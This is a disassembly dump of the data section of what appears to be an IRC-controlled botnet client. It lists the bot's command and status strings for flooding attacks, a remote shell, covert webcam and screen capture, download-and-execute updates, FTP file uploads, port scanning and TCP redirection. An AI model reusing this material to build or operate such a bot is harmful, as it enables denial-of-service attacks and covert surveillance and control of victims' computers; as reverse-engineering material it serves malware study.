dword_429A8C	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_429A94	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_429A9C	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429B24	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429B44	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_429B98	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429C18:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_429C1C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429C40	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429C68	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_429C8C	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429CB0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429CD4	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429CF8	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429D14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D40	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429D8C	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_429DB8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429DE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E04	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E24	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E74	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429E94	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F14	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F38	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429F54	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F78	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_429F90	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429FD0	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429FE8	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A024	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42A03C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A068:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A06C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_42A090	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42A0B4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42A0F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42A134	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_42A168	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_42A1A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_42A1D4	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_42A208	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_42A230	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_42A260	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42A29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42A2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_42A300	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_42A31C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42A34C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42A374	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42A394	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42A3B4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42A3D0	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_42A3E4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_42A3F0	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_42A418	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_42A434	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_42A450	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_42A458	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_42A474	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_42A480	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_42A488	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_42A490	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A4CC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A4F8	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A534	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A568	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42A59C	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_42A5B4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_42A5C8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_42A5D8	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_42A620	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A65C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_42A694	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_42A6B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A6D4	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A710	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A740	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A74C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A770	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A7A8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A7E0	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A80C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A848	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A878	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A8B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A8E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A918	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A948	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A980	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A9BC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A9FC	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42AA28	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42AA6C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAA8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42AB04	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42AB10	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AB4C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42AB9C	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42ABD4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42AC3C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42AC70	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42ACA4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42ACD4	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42AD44	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42AD6C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42ADAC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADE4	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AE2C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42AE60	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42AE94	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AECC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
